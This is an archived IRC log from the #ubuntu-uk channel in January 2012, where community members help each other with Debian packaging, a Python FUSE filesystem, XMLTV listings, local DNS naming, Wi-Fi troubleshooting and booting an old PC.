<gord> i think its more that once you have got through the pain, the tools work very simply, very easy to understand and use. so the itch does not need scratching
<davmor2> gord: well stop trying to write out from it in vim terms then :P
<gord> *never*
<awilkins> It's things like the answer to the question : "By default, the upstream source package sets a prefix of /usr/local ; what is the standard mechanism for setting this to /usr in the debian packaging method?"
<awilkins> Apparently the answer is that dh_auto_configure does it for you
<ali1234> debian packaging is awful
<ali1234> but at least it isn't rpm
<ali1234> and in theory the tools are simple and easy to use
<ali1234> but in the majority of cases they don't do what you need and every package that is more complicated that hello world ends up with many nasty hacks in the rules file
<ali1234> and then you end up with packages that only build from the source once, then you have to rm -rf the whole thing and start again
<ali1234> such as Qt for example, which takes about an hour to build the first time
<awilkins> Reading both the Ubuntu debian packaging guide and the Debian maintainers guide has so far failed to enable me to produce a working set of packages for the thing I am packaging. It's easy enough to install it with some hacks like moving the JNI libraries to the right folder manually afterwards... but still, I'd prefer to be able to just add my PPA and apt-get it
<ali1234> you just put the copy command into rules... = a nasty hack
<ali1234> but it will work
<awilkins> Now I thought that was what the various *.install files were for
<ali1234> well it depends what you need it to do
<awilkins> I just want it to put one library in /usr/lib/jni instead of /usr/lib
<ali1234> so you just make sure it's at that location inside the deb
<ali1234> by moving it before you create the deb
<directhex> both are valid approaches
<directhex> i'd say using debian/install is better
<awilkins> I agree
<awilkins> It keeps hackishness and patching the original sources to a minimum
<daubers> Evening
<dwatkins> hi daubers
<zleap> hello
<zleap> upgrade to 11.10 seems to have gone very well
<daubers> \o/
<daubers> I'd forgotten how amazing Back to the Future was
<brobostigon> :)
<daubers> Ubuntu-UK: Where we're going, we don't need roads.
* AlanBell changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived http://irclogs.ubuntu.com | Mailing List http://tinyurl.com/uukml | Support Guidelines http://tinyurl.com/uuksupport | Meeting 2nd February 21:00 UK time #ubuntu-uk-meeting | "Where we're going, we don't need roads."
<daubers> \o/
<daubers> Today has been a good day :)
<AlanBell> do you have a fuse filesystem?
<daubers> Got my Filesystem to work (few bugs left, but it works \o/), had chinese for free AND found Back to the Future Trilogy on DVD for Â£6
<daubers> AlanBell: Yes indeedy :)
<AlanBell> I am a bit flummoxed by the need to know the filesize before it is opened
<daubers> You're doing this in python still?
<AlanBell> yeah
<daubers> Which example did you use? NullFS or xmp.py?
<AlanBell> hello.py
<daubers> ah
<AlanBell> and I looked at nullfs (yo dawg, we heard you liked filesystems)
<AlanBell> and xmp too, but I was just playing with hello.py
<daubers> I started with xmp, and used that as a base. But I don't need to interact with files, which makes it easier (just change the path as it passes through)
<AlanBell> it looks like if getattr says the file is 5 bytes long then all it will return is 5 bytes
<AlanBell> even if read tries to return "Hello World" all that gets read is "Hello"
<AlanBell> what I want to do is a fuse filesystem for openERP
<AlanBell> so you would get a directory of invoices, one of purchase orders etc etc
<daubers> can you not just calculate the size from the data you have?
<AlanBell> they would all look like PDF files, and you can open them, but they don't really exist until you open them and it kicks of the report engine on the server to generate the PDF
<AlanBell> nope, because they don't exist until it plugs the fields into an ODT file then spawns libreoffice headless to make a PDF
<daubers> can you not treat them as softlinks? or do softlinks pass through the size?
<AlanBell> I have read some stuff about treating dynamic files as FIFO objects, but I have no idea how to do that
<daubers> If you can figure out how to treat them as softlinks then it should work. A link has size "st_size=100"
<daubers> also..... are you creating a file class?
<daubers> You might get away with doing it in there?
<AlanBell> I have not really got very far, just trying to get all the pieces together so I can assemble them
<daubers> Fair enough :) It's quite fun when you get into it
<daubers> stackexchange thing on fifo's http://stackoverflow.com/questions/1430446/create-a-temporary-fifo-named-pipe-in-python
<AlanBell> hmm, that is how to make one, but not how to pretend to be one in fuse :)
<daubers> heh :) Do you not just make one and subclass it's read/write stuff or somesuch?
<AlanBell> maybe if getattr returns the right size before read gets called
<AlanBell> dunno the sequence of calls quite
<daubers> If you make a file class, the file is opened in the init, and then you can control the read/write calls
<daubers> Don't think that was in nullfs, but is definatley in xmp
<AlanBell> hmm, still fgetattr has to return a size at some stage
<Seeker`> Daviey: are you the portable paper friend?
<Daviey> Seeker`: indeed
<Seeker`> \o/
<Seeker`> its the beard that gives you away
<Daviey> heh
<Seeker`> what  can I do with my 10 points?
<Daviey> They are worth 0.001 bitcoins.. so you could sell them
 * daubers waits for quickly to install
<Seeker`> :O ZOMGWOW
<mattt> evening evening
<daubers> Other than "They're all terrible" does anyone have any opinions on forum software these days?
<daubers> Probably going to end up going down the phpbb route by the look of it
<popey> ubuntu uses vbulletin
<popey> phpbb has a reputation...
<daubers> I know, vbulletin costs Â£lots
<popey> does it?
<daubers> It's like $200
<daubers> https://www.vbulletin.com/
<popey> is that a lot?
<daubers> For an organisation that is not for profit and has no money, yes :)
<daubers> (this is for the hackspace)
 * daubers considers Â£lots to be > ~Â£45-50
<daubers> skyrim is lots :(
<daubers> My options seem to be phpbb, yabb or Simple Machines
<daubers> arduino seem to use SMF
<directhex> dotnetnuke!
<daubers> heh :)
<daubers> c# or vb?
<ali1234> write your own in turbopascal
<directhex> daubers: i assume it'd work, dunno if it's any good. and vb is a horrible language for perverts
<directhex> oh, did i remember to upload vb.net to sid? i don't think i did
<Daviey> daubers: $200 really isn't very much... if they are still bootstrapping, they should use hosted forums or mailing list... when they have the userbase, ask for donations... doesn't take many people giving $10 to reach the target :)
 * jutnux pokes daubers
<popey> ooo turbopascal
<popey> those were the days
<Myrtti> I wrote the snake game
<daubers> Daviey: We're still trying to cover the cost of the building.... Andy's very kindly given us a VPS for free so I'd like to put it in there
<daubers> Daviey: Might give SMF a go for now, and then look at moving to vbulletin at a later date
<daubers> I'd rather spend that $200 on a new tube for the laser cutter rather than some forum software
<popey> oooh, snow
<ubuntubhoy> where ?
<popey> on tv
<ubuntubhoy> it can stay there
<popey> hah
<jutnux> Howdy all.
 * daubers is supposedly driving to bolton tomorrow...
<popey> bolt on
<daubers> Might go watch my younger brother do a faclonry display on the way or on the way back
<mgdm> nice
 * daubers heads to bed
<daubers> night all
<popey> excellent plan
<jutnux> Adios
<jutnux> I appear to be 20 minutes late
#ubuntu-uk 2012-01-21
<ali1234> Azelphur: since you are USB battery pack expert... do they pass through usb data?
<Azelphur> I'm a what now?
<ali1234> like if you plug it into a PC to charge
<Azelphur> xD
<ali1234> and then plug a phone into the device port
<ali1234> does the PC see the phone?
<Azelphur> Very unlikely
<Azelphur> I can check, but I doubt it
<ali1234> well you have one... didn;t you try it?
<Azelphur> no because I don't use it for my phone?
<Azelphur> xD
<Azelphur> ali1234: nope it doesn't
<ali1234> ok thanks
<ubuntuuk-planet> [Jono Bacon] Community Team Goings On - http://www.jonobacon.org/2012/01/21/community-team-goings-on/
<optim8> Hello
<optim8> ?
<AlanBell> morning all
<MooDoo> morning
<popey> Morning
<AlanBell> hullo popey
<AlanBell> daubers: I think I can do dynamic files
<AlanBell> as long as the filesize is at least 1 it will open, read, and check the filesize again
<AlanBell> and I can report a bigger size after a read has happened and the client will read the rest of it
<brobostigon> good morning everyone.
<brobostigon> i have found an android prog, that can show me tv listings, however it requires an xmltv source, any ideas, where to look? please.
<kvarley> brobostigon: Can  you use RSS feeds? They are still technically XML
<kvarley> How can I extract the contents of a subfolder to the folder which I am running the tar command from? It keeps making the subfolder in the directory that I run the tar command from when I just want the contents from the subfolder, not the subfolder itself.
<brobostigon> kvarley: no idea, it only specifies xmltv input source.
<Myrtti> have your computer generate one for you?
<Myrtti> which android prog btw?
<brobostigon> Myrtti: tvp. it is called.
<brobostigon> generate one? how.
<Myrtti> !info xmltv
<lubotu3> xmltv (source: xmltv): Functionality related to the XMLTV file format for TV listings. In component universe, is optional. Version 0.5.59-1 (oneiric), package size 17 kB, installed size 244 kB
<Myrtti> or if not generate, then atleast that may help you get forward
<Myrtti> but I'll have a look
<Myrtti> once my phone wakes up from its coma
<brobostigon> ok, thank you.
<Myrtti> I don't see any programme called tvp on the android market, could you give me a link?
<brobostigon> one minute
<MartijnVdS> https://market.android.com/details?id=com.ideamats.tvplanner.android ?
<brobostigon> thats it,
<ubuntuuk-planet> [Tony] Big Blue Box - http://tonywhitmore.co.uk/blog/2012/01/21/big-blue-box/
<jutnux> Morning
<Myrtti> oh man, this'll take FOREVER
<MartijnVdS> daubers: what was the (3d?) graphics book you got called again?
<czajkowski> aloha
<MartijnVdS> hi czajkowski
<MooDoo> hello czajkowski
<czajkowski> hw folks?
<MartijnVdS> ?
<czajkowski> hows
<czajkowski> clearly :)
<AlanBell> !iphone keyboard-#ubuntu-offtopic
<lubotu3> Dear Aunt, let's set so double the killer delete select all.
<MartijnVdS> AlanBell: wut?
<AlanBell> factoid of the day
<MartijnVdS> But sense! It makes none!
 * chalcedony smiles
<Myrtti> brobostigon: http://bleb.org/tv/data/listings
<brobostigon> Myrtti: so i use that as the xmltv source url?
<Myrtti> hold on, let me fiddle a bit more
<brobostigon> ok.
<brobostigon> thank you.
<Myrtti> oh my dear god this app is horrible
<Myrtti> can't paste an url?
<Myrtti> seriously?
<brobostigon> Myrtti: i havent had a good play yet, i just found it, just before i spoke here.
 * Neoti right off to tesco it is for FOOD!!!!!! YIPEEEEEE!!!!!
<MartijnVdS> Pfuh, who needs food
<Myrtti> brobostigon: yeah, in theory if you have the patience to construct an URL with all the channels as that page instructs you should be able to get a file of the type you're looking for.
<Myrtti> however I didn't have patience and I seem to be unable to refresh the channel list.
<Myrtti> and the channel I did put doesn't show any listings.
<MartijnVdS> you can create your own xmltv URLs by running the parsers yourself
<MartijnVdS> but it's often messy
<Myrtti> yes
<Myrtti> so basically, you can do the same thing and host it on your own space, put it in a cronjob or something
<brobostigon> ah, i see, ok. umm, let me think.
<brobostigon> so i could use xmltv on my vps, to create said source, and then copy that into /var/www , and then pull that?
<Myrtti> yup
<brobostigon> and then as you said, create a custom cron job, to update it.
<MartijnVdS> that's how mythtv does it I think
<brobostigon> XMLTV requires a Date::Manip timezone of +0000 to work properly.
<brobostigon> Current Date::Manip timezone is 1.
<brobostigon> what does that mean?
<StevenR> your xmltv listings might be an hour out?
<brobostigon> i am just configuring the grabber.
<brobostigon> http://wiki.xmltv.org/index.php/HowtoUseGrabbers
<brobostigon> i am on the download data, section.
<StevenR> probably need to look at reconfiguring Date::Manip
<brobostigon> how do i do that?
<StevenR> brobostigon: might help: http://nice3z.myfinejob.com/date-manip-unable-determine-timezone
<StevenR> brobostigon: what OS and revision?
<brobostigon> StevenR: 10.04.3
<jutnux> Haz bacon
<StevenR> brobostigon: ah. the interweb suggests that there's a bug
<brobostigon> StevenR: a solution?
<StevenR> not that I could see (the offered solution was "use the debian version")
<brobostigon> the debian version of that perl package?
<StevenR> of xmltv
<StevenR> http://www.havetheknowhow.com/Install-the-software/MythTV-Date-Manip-bug.html
<brobostigon> ok, thank you StevenR
<AlanBell> daubers: python-fuse sucks at parsing command line arguments, but I have it working now
<jacobw> hustle s8e2 \o/
<Myrtti> brobostigon: after you've run, say, tv_grab_uk_rt --configure, tv_grab_uk_rt --config-file .xmltv/tv_grab_uk_rt.conf --output tvlistings.xml --list-channels&&gzip tvlistings.xml and mv the .gz to /var/www - it probably needs to be done only once
<Myrtti> I can't get it to show any listings tho
<brobostigon> Myrtti: ok, thank you. let me try.
<Myrtti> hmmm
<Myrtti> brobostigon: yeah, I'll do that as well, there's something different with the australian listings, they actually work
<Myrtti> I can see why
<brobostigon> just need to create a crontab entry.
<brobostigon> Myrtti: what would you suggest as a crontab entry?
<MartijnVdS> 0 * * * * $HOME/bin/xmltv.sh
<Myrtti> did you get it to list the programmes?
<MartijnVdS> and then in xmltv.sh put:
<MartijnVdS> #! /bin/bash
<brobostigon> Myrtti: yes.
<MartijnVdS> and the command you type to update the feed(s)
<Myrtti> really?
<brobostigon> Myrtti: it asked me which channels i wanted,
<Myrtti> and you put the file in the app in android and it worked?
<brobostigon> Myrtti: i am just tyring that.
<Myrtti> try that before worrying about crontab
<brobostigon> ok
<Myrtti> because it didn't work for me
<brobostigon> ok.
<brobostigon> first check, that xml.gz is outside downloadable.
<brobostigon> could this take a while?
<Myrtti> oh man
<brobostigon> Myrtti: ok. it has been going for just over ten minutes. not showing a result yet.
<Myrtti> wow
<MartijnVdS> brobostigon: is it doing anything? or is it just hanging on some server that's no longer there?
<MartijnVdS> (is this the android app or the downloader thing on your iInux box)
<brobostigon> that xml.gz is 4k.
<brobostigon> MartijnVdS: i checked the xml.gz is accessable on my server, and it is. the android app is just hanging there, picking it up.
<brobostigon>  not picking*
<MartijnVdS> brobostigon: check your access.log, see if it's even tried
<brobostigon> good idea. minute.
<brobostigon> nope, nothing, other than my test, to get the file with chromium.
<MartijnVdS> and using the web browser on the phone, does that work?
<brobostigon> minute.
<brobostigon> MartijnVdS: android reports download failed.
<brobostigon> weird.
<MartijnVdS> brobostigon: nothing in access.log again?
<brobostigon> MartijnVdS: let me check, but the browser can pick up my site, from apache on that same server.
<MartijnVdS> brobostigon: it could be related to the .gz part and Apache trying to be smart
<brobostigon> MartijnVdS: it is showing android trying to get the .xml.gz in access.log
<brobostigon> working, weird, just restarted android.
<MartijnVdS> strÃ¤nge.. wifi vs 3g?
<brobostigon> MartijnVdS: ok, it has the listings, however they are empty.
<brobostigon> MartijnVdS: wifi.
<brobostigon> i mean Myrtti,
<brobostigon> sorry.
 * brobostigon returns with beer in hand.
<MartijnVdS> \o/
 * MartijnVdS sticks to tea for now
<brobostigon> :)
 * Neoti mack from tesco with a mighty feast and a freezer full of foody goodness..... Victory!
 * brobostigon puts ST TUC on.
<brobostigon> ie, ST6.
<MartijnVdS> Ugh Klingons :)
<brobostigon> TOS's idea of a cold war theme.
<brobostigon> as nimoy put it,
<MartijnVdS> yes, that
<MartijnVdS> 's obvious
<brobostigon> yes :)
 * brobostigon wishes he has his good speaker connected to the tv, that he has connected to his computer.
<Neoti> hey all i would like some feedback on my blog http://phillipcooper.co.uk
<brobostigon> speakers*
<jacobw> Neoti: have you considered storing that information in wiki?
<Neoti> hummm ... no .... i might look in to that though .... i think it would be better then a blog .... something to think about ...
<jacobw> there's lots of useful information there, its just hard to navigate
<Neoti> cool... i'll look in to a wiki
<swat_> evening
<brobostigon> interesting how the enterprise A's engine room, looks almost exactly like that of the anterprise D.
<MartijnVdS> brobostigon: What a coincidence that they filmed TUC while TNG was running ;)
<brobostigon> MartijnVdS: exactly, :)
<brobostigon> MartijnVdS: and the ready room ,being a redress of the officers mess. i mean, the other way round.
<Azelphur> The bukkit projects licensing makes me want to stab them in the face
<MartijnVdS> Azelphur: isn't Bukkit GPL?
<Azelphur> MartijnVdS: "GPL", they get mad if you submit bugfixes and tell you that plugin authors code isn't GPL licensed
<Azelphur> they also allow plugins to advertise that they are licensed under whatever they want, there are software plugins licensed under the CC
 * Azelphur facepalms
<MartijnVdS> ...
<SuperEngineer> o/   ...& hi,  peeps
<MartijnVdS> howdy SuperEngineer
<SuperEngineer> howdy 2u2 MartijnVdS
<SuperEngineer> just posted what is probably my most heart felt tweet in ages...
<SuperEngineer> "I have just had to use that microsoft OS [SatNav speedcam update]. What a relief to be back on Linux again ;)"
<ubuntuuk-planet> [Andrew] HowTo: Pack Gtk CellRenderers vertically in a Gtk TreeView - http://whyareyoureadingthisurl.wordpress.com/2012/01/21/howto-pack-gtk-cellrenderers-vertically-in-a-gtk-treeview/
<penguin42> https://www.destroyallsoftware.com/talks/wat is very funny
<MartijnVdS> penguin42: R.. r.. ruby?
<MartijnVdS> penguin42: cool talk
<penguin42> yeh
 * MartijnVdS wants more now
<grogoreo> hi
<grogoreo> On my home network I would like others on it to be able to use my hostname instead of IP. How can I set this up?
<directhex> grogoreo, all running linux/mac?
<grogoreo> linux/windows
<grogoreo> is it a case of routing my hostname and IP in /etc/hosts?
<directhex> grogoreo, that's a bruteforce method of doing it. every host needs their /etc/hosts updated to know about every other machine
<directhex> on windows, that's c:\system32\drivers\etc\hosts
<directhex> bit ugly really
<penguin42> grogoreo: You should find from Linux you should be able to use name.local automatically with no change
<directhex> otherwise, you have three self-configuring options
<directhex> first is mdns-sd. on linux, you can contact a machine via "machinename.local"
<directhex> e.g. "ssh desire.local" works on this network. this is set out of the box on linux
<directhex> and on mac
<directhex> for windows you need an mdns-sd daemon... apple's bonjour for windows is an option there
<MartijnVdS> My router takes the DHCP-supplied hostname and adds it to its local DNS server
<directhex> option 2 is using wins, i.e. using the windows fileshare protocol for name resolution. it's a bit hairy, but it allows you to contact machines in the same windows workgroup by name only
<directhex> that'd be even better IF it works. very router-dependent
<MartijnVdS> true
<directhex> on linux, you install the windows fileshare server samba to broadcast your name, and you configure winbind support for name resolution to consume other machines' names
<directhex> it can be a bit ropey though, e.g. broakage in thunderbird has been linked to wins issues
<penguin42> grogoreo: The other option is that your DSL/Cable/whatever router might have a DNS server in that you can set names on
<grogoreo> right, thanks for all the info. Very helpful
<directhex> oh, you could skip your router and install your own dnsmasq dhcp server, which can be configured to do what MartijnVdS described. nice & messy
<Azelphur> Curiosity question, if you wanted to set up your own DNS server, where would you get the registry from?
<mattt> Azelphur: say what now?
<Azelphur> mattt: if you want a DNS server, surely you need a registry of all domains and what the records resolve to?
<mattt> Azelphur: if you're running a caching name service, it'll just do the lookups when necessary
<Azelphur> ah o.O
<directhex> yep
<mattt> Azelphur: you may have a configuration specifying root name servers, but that should be it i'd imagine
<mattt> <-- not a dns pro
<directhex> you forward requests that you can't resolve locally
<Azelphur> fun
<directhex> that's how your router works - i.e. 192.168.1.254 is running a DNS resolver which forwards requests to your ISP if they're not internal
<mattt> and if you're running an authoritative name service, you'd need to set up glue records w/ your registrar i believe
<Supermanintights> hey lads, what's the command to restart the wifi thign?
<Supermanintights> it's not connecting to my wifi for some reason
<nothingspecial> sudo service networking restart
<nothingspecial> ?
<Supermanintights> i remember it being something different - wific or something like that
<Supermanintights> but can't think what it was
<MartijnVdS> networkmanager maybe
<Supermanintights> it's not my day with computers - i can't log into betfair or anything right now
<popey> sudo service network-manager restart
<Supermanintights> cheers popey
<Supermanintights> still not connecting wirelessly which is annoying
<popey> did it used to work and now doesn't?
<Supermanintights> i don't want to restart as it means playing with the extender again which takes a while
<Supermanintights> yeah
<Supermanintights> never had a problem
<Supermanintights> only today
<Supermanintights> just tried to connect for ages
<penguin42> does network manager still show the wireless device and the networks?
<Supermanintights> then came up with the password bar
<Supermanintights> sure
<Supermanintights> it's exactly how it should be
<Supermanintights> only it won't connect, tries for 5 minutes then shows the password bar
<penguin42> could look at /var/log/wpa-supplicant (something like that)
<Supermanintights> (password definitely correct - tested it on iphone and galaxy note)
<nothingspecial> Supermanintights, sometimes unloading and reloading the wireless module helps
<MartijnVdS> penguin42: /var/log/syslog
<MartijnVdS> or just restarting the machine
<Supermanintights> i'd only just restarted to get to this point
<Supermanintights> ok
<MartijnVdS> if that doesn't fix it, it's probably something wrong at the wifi router end
<Supermanintights> i'll try a restart (and hope)
<Supermanintights> MartijnVdS, even if my note/iphone are connecting fine?
<MartijnVdS> Supermanintights: hmm, that's strange then
<MartijnVdS> Supermanintights: have you tried going to the network preferences (click on the wifi icon in the top bar, "Edit connections"), then deleting the connection for your wifi network?
<Supermanintights> no, but will do that now MartijnVdS
<MartijnVdS> Supermanintights: and then reconnecting (making sure you type the security key correctly of course ;))
<Supermanintights> sure
<brobostigon> show password, box, is useful for checking,
<Supermanintights> we've changed the security key so it's simple to know if it's right or not
<Supermanintights> would you recommend going through "add" connection, or just clicking the router in the list under the network manager?
<MartijnVdS> second one
<MartijnVdS> clicking it in the list
<Supermanintights> :( not looking promising
<MartijnVdS> Supermanintights: /var/log/syslog should tell you what's going on
<Supermanintights> i just retested on my phone - and it's defo working - my phone is constantly telling me i got new email, adn i've disactivated all data connections
<Supermanintights> how do I load/copy that?
<MartijnVdS> Supermanintights: click on the Ubuntu logo (top left), then type "log", it should offer a log file viewer option
<Supermanintights> syslog or syslog.1?
<MartijnVdS> syslog, syslog.1 is yesterday's log
<Supermanintights> http://paste.ubuntu.com/812253/
<Supermanintights> the network i want is NewCavendishBasement
<MartijnVdS> does the access point have MAC address filters set up? So only "allowed" mac addresses can connect?
<MartijnVdS> (and is the PC's address in it?)
<Supermanintights> nope
<Supermanintights> we run a serviced apartments - so that's not viable to run that
<MartijnVdS> The software isn't getting replies from the access point for connection requests
<MartijnVdS> so either it's too far away (low signal on the access point end -- it's not receiving packets from your machine)
<Supermanintights> it's 2.5 metres away
<MartijnVdS> or it's in some kind of weird "hole" in the coverage
<Supermanintights> i'm connected via wired
<MartijnVdS> OK so it shouldn't be a problem
<Supermanintights> i did have a couple of issues on windows
 * MartijnVdS is out of ideas
<Supermanintights> but it soon fixed itself
<Supermanintights> this is very like the problem i had last time i used ubuntu
<Supermanintights> which happened between 10.10 and 11.4 i believe
<Supermanintights> natty/maverick
<Supermanintights> i spent weeks trying to sort it - no internet at all (couldn't use wired then)
<MartijnVdS> what kind of wifi chip do you have?
<MartijnVdS> is the AP set to WPA-only or WPA2-only or mixed? CCMP? TKIP? Both?
<Supermanintights> erm
<Supermanintights> it's a realtek RTL912E
<MartijnVdS> Some cards have issues with WPA2 or CCMP
<Supermanintights> or something along those lines
<MartijnVdS> realtek :)
<Supermanintights> and as for your second question(s)?
<Supermanintights> not a monkeys
<Supermanintights> couldn't tell you if i spent 3 hours looking it up
<Supermanintights> realtek = bad? :(
<MartijnVdS> it should be a dropdown box in the settings page on the wifi router
<MartijnVdS> or a checkbox
<Supermanintights> erm
<Supermanintights> sec
<MartijnVdS> WPA, WPA2, or "WPA/WPA2 mixed"
<MartijnVdS> and TKIP / CCMP (or "AES") the same
<Supermanintights> http://paste.ubuntu.com/812262/
<Supermanintights> ??
<MartijnVdS> Nothing there.. hmm
<MartijnVdS> isn't there a specific "wireless security" page?
<Supermanintights> there are more pages
<MartijnVdS> where you also set the password
<popey> â¨ sky
<Supermanintights> :P
<Supermanintights> MartijnVdS,  - lots of pages
<Supermanintights> set password page has nothing other than old/new password text boxes
<Supermanintights> http://paste.ubuntu.com/812263/
<Supermanintights> from security page
<popey> isnt that the security of the router itself, the admin pages
<popey> not security of the network
<Supermanintights> ah
<MartijnVdS> what popey said :)
<Supermanintights> my bad, looked too deep, and yes you're right
<Supermanintights> http://paste.ubuntu.com/812264/
<MartijnVdS> Supermanintights: "Security options" - what's that set to atm?
<MartijnVdS> Supermanintights: ah WPA2-PSK
<Supermanintights> (AES)
<MartijnVdS> try setting it to WPA/WPA2-PSK (Mixed Mode), that should work with more
<Supermanintights> ok
<Supermanintights> i'm just waiting for the irritating moment where i get phone calls from guests moaning about their wifi
<Supermanintights> still doesn't seem to be connecting :(
<popey> delete the connection and recreate it in network manager
<MartijnVdS> :(
<MartijnVdS> Good one
<Supermanintights> again - because i changed settings?
<Supermanintights> and does that mean "add" connection?
<MartijnVdS> Supermanintights: no, it's just clicking it from  the menu (again)
<MartijnVdS> same as last time
<Supermanintights> ok
<Supermanintights> (i know might sound stupid - was just checking)
<popey> bah, optical drive in sisters computer is busted
<Supermanintights> fml... how can it just stop working for no good reason? :(
<popey> and it has 3 options for usb boot (USB-FDD, USB-ZIP, USB-CDROM)
<popey> none of which work with my usb stick that i just made with unetbootin
<Supermanintights> mine is USB-FDD - that works
<penguin42> popey: Yeuch, I've seen some USB sticks that can pretend to be USB-FDD, but they're a bit rare
<MartijnVdS> popey: USB-ZIP should
<Supermanintights> MartijnVdS, popey  -  same problem, tries to connect, times out after a few minutes, tells me i need verification.  100% - the password is correct, i can see it in the settings on sky...
<penguin42> Supermanintights: Is this on 5.x or 2.4GHz ?
<MartijnVdS> popey: Most card readers pretend to be USB-ZIP, maybe an SD card will work?
<Supermanintights> what about changing channel etc?
<MartijnVdS> penguin42: 2.4
<Supermanintights> :s
<MartijnVdS> Supermanintights: you could try, but I don't think that's the problem
<penguin42> hmm, had some problems on 5.x
<MartijnVdS> penguin42: I have a dual-mode AP, works fine on my laptop
<Supermanintights> i'll leave it then - i don't want to have to go back up and get the guest to let me in so i can fix the extender
<Supermanintights> any suggestions on what i can do to get this fixed?
<Supermanintights> i'll post a bug or something if need be - but last time I did, no one got back to me or updated it
<popey> Supermanintights: how did you delete the network connection?
<Supermanintights> edit, delete
<Supermanintights> in dropdown
<popey> ok
<popey> other stuff can connect okay?
<popey> you can see dhcp leases being used on the access point?
<Supermanintights> ???
<popey> guests can connect okay?
<Supermanintights> that's over my head, last part
<Supermanintights> yeah, well no complaints
<Supermanintights> so yeah
<popey> ip addresses have been given out by the device
<popey> do you have a phone that has wifi?
<Supermanintights> yeah
<Supermanintights> restarting that now to test
<popey> does that work?
<Supermanintights> yes
<popey> bah, this usb stick wont boot at all
<Supermanintights> works perfectly fine
<Supermanintights> definitely a laptop issue - but what, i'm not sure.
<penguin42> Supermanintights: Reboot
<penguin42> popey: netboot is probably you're only way
<Supermanintights> ok, i'll try a reboot
<Supermanintights> boot into normal ubuntu?
<Supermanintights> or one of the test/safemode versions?
<popey> test/safe isnt worth using imo
<Supermanintights> ok
<Supermanintights> what about windows
<Supermanintights> should i test it on there?
<Supermanintights> see if it's a ubuntu or laptop problem?
<penguin42> Supermanintights: Just try a simple reboot 1st
<Supermanintights> ok
<penguin42> Supermanintights: Back into ubuntu
<Supermanintights> back in 5
<Supermanintights> thanks loads for help btw
<Supermanintights> hmmm... i could have made my life so much simpler with a restart by the looks of it...
<popey> hahah
<popey> loser!
<popey> âº
<MartijnVdS> ?
<penguin42> Supermanintights: well, still shouldn't have been needed
<popey> indeed
<popey> bah
<popey> bios boot menu only lists floppy, hard disk, cdrom
<MartijnVdS> popey: no booty?
<popey> usb isnt mentioned, yet it is in the bios
<Supermanintights> ethernet cable unplugged - can you guys see these messages?
<Supermanintights> silence fills me with little confidence :(
<Supermanintights> fml
<Supermanintights> well i'm getting skype messages and chrome works - so i'm assuming you guys are being mean and letting me get worried somethings still wrong - but regardless - it's working now - thanks :D
<popey> yes Supermanintights
<popey> they came through in a flood
<Supermanintights> woah
<penguin42> popey: What type of machine is this PoS ?
<Supermanintights> all those messages came through super fast (AFTER i plugged cable back in :S)
<MartijnVdS> it sounds 2002-2003ish
<popey> penguin42: acer
<popey> bios date is 2005
<popey> mobo is a F661GX
<penguin42> popey: Hmm, boot from hard disk should work with a thumb drive
<penguin42> popey: From USB thumb
<MartijnVdS> does it have a floppy drive
<popey> no
<MartijnVdS> hmm
<MartijnVdS> and no netboot either? (boot rom is usually separate from all other boot options on older boards)
<popey> i cant be arsed to setup netboot
<penguin42> yeh, do you get any bios messages from the network card during boot?
<popey> i dont have pxe boot server setup and whenever i try it takes ages and lots of fiddling
<MartijnVdS> popey: Then it's screwdriver time -> CD/DVD-player transplantation
 * hamitron finds that with usb booting
<popey> case is already apart
<popey> pondering yanking the hdd and doing the install on another box then moving the hdd back
<penguin42> nod
<Supermanintights> i think it's gone down again actually :S
<popey> but it's PATA
<hamitron> isn't there an image to write to a partition, for OEM install?
<Supermanintights> is anyone else having flood problems with IRC?
<penguin42> no
<popey> Supermanintights: no
<Supermanintights> sigh... i'm just going to close my eyes, pretend there are no problems, and worry about it when it breaks completely.
<popey> this desktop is a celeron D
<popey> â¨
<penguin42> popey: The luxury
<popey> ooh
<popey> the desktop sat under it has a pata DVD drive
 * popey fiddles cables
<popey> desktop on side with IDE and power cable coming out the side through to desktop underneath
<popey> win
<popey> hmmm
<popey> suspect dodgy cd now
<popey> gets as far as ISOLINUX 4.04 and then light goes out and it stops booting, exactly as it does with internal CDROM drive
<zleap> can i attach screenshots to bug reports ?
<popey> further this time
<popey> yes zleap
<popey> loading bootlogo...
<popey> then nothing
<zleap> ok cool,  will submit a possible typo, ok its with the upgrade from 11.04 to 11.04 but given its an info dialog box it may end up in the next upgrade path
<popey> whats the bug?
<zleap> in the screen that says do you want to start the upgrade
<zleap> it says it can take several hours then says "one the download has finished it the process be cancelled"
<zleap> it says it can take several hours then says "once the download has finished it the process be cancelled"
<popey> ah
<zleap> for get the "it" part,
<zleap> ok as I have never filed a bug report anyway it will be a good reason to learn
<popey> i see more than one issue there
<popey> 'the process be cancelled'
<zleap> ok hold on i can't copy very well
<zleap> once the download has finished the process cannot be cancelled
<popey> whats wrong with that?
<zleap> it just didn't sound right,
<popey> its accurate
<zleap> ok
<popey> once you finish downloading the actual upgrade itself starts, that's the point of no return
<zleap> ah
<zleap> ok that makes more sense then
<popey> bah, now the machine randomly boots from CD
<zleap> is Paignton too far for people to travel to for a barcamp type event ?
<popey> depends where they are coming from
<zleap> ok
<popey> now for io errors on the cd
<popey> this doesn't bode well
<popey> this is a professionally pressed cd from canonical
<zleap> very early days yet,  I am trying to set up a group for young developers (11 - 18)  and it would be nice t see if we can get some sort of similar events organised
<popey> i have less success with CDs from Canonical than I do from home-burns
<popey> zleap: like YRS?
<zleap> well this is more informal,  but I would hope that what we do can lead in to people attending YRS,  esp as they have one in exeter
<popey> why not do it as part of YRS?
<zleap> i want to get young people together,  who either want to start,  or enjoy programming so they can learn together and help each other,
<zleap> this would be a more regular group so meeting say once a week
<zleap> its in the idea / planning stage,   at my local youth centre (newly opened) they like the idea as it would appeal to a different group
<zleap> so they have macs at the moment but we can install things like scratch,  kids ruby,  and hopefully things like python
<popey> http://ubuntuforums.org/showthread.php?t=1610031 hmmmmm
<popey> ok, tried two drives, try two disks, boot failure most of the time
<ubuntubhoy> I sometimes get that with UnetBootin
<ubuntubhoy> need to leave the USB out and the netbook off for a bit before it will work
<popey> ISOLINUX failed with Disk error 80, AX = 4280, drive 9F
<popey> which is delightful
<bigcalm> [[WARNING]] php.ini has short_open_tag set to off: FAILED
<bigcalm>             *** Set it to off in php.ini ***
<bigcalm> Symfony 1.4 pre-install check sillyness
<jacobw> hmm, looking at a green on black display for too long makes white look pink :|
<Myrtti> pink mentioned
<bigcalm> Heh
<jacobw> :)
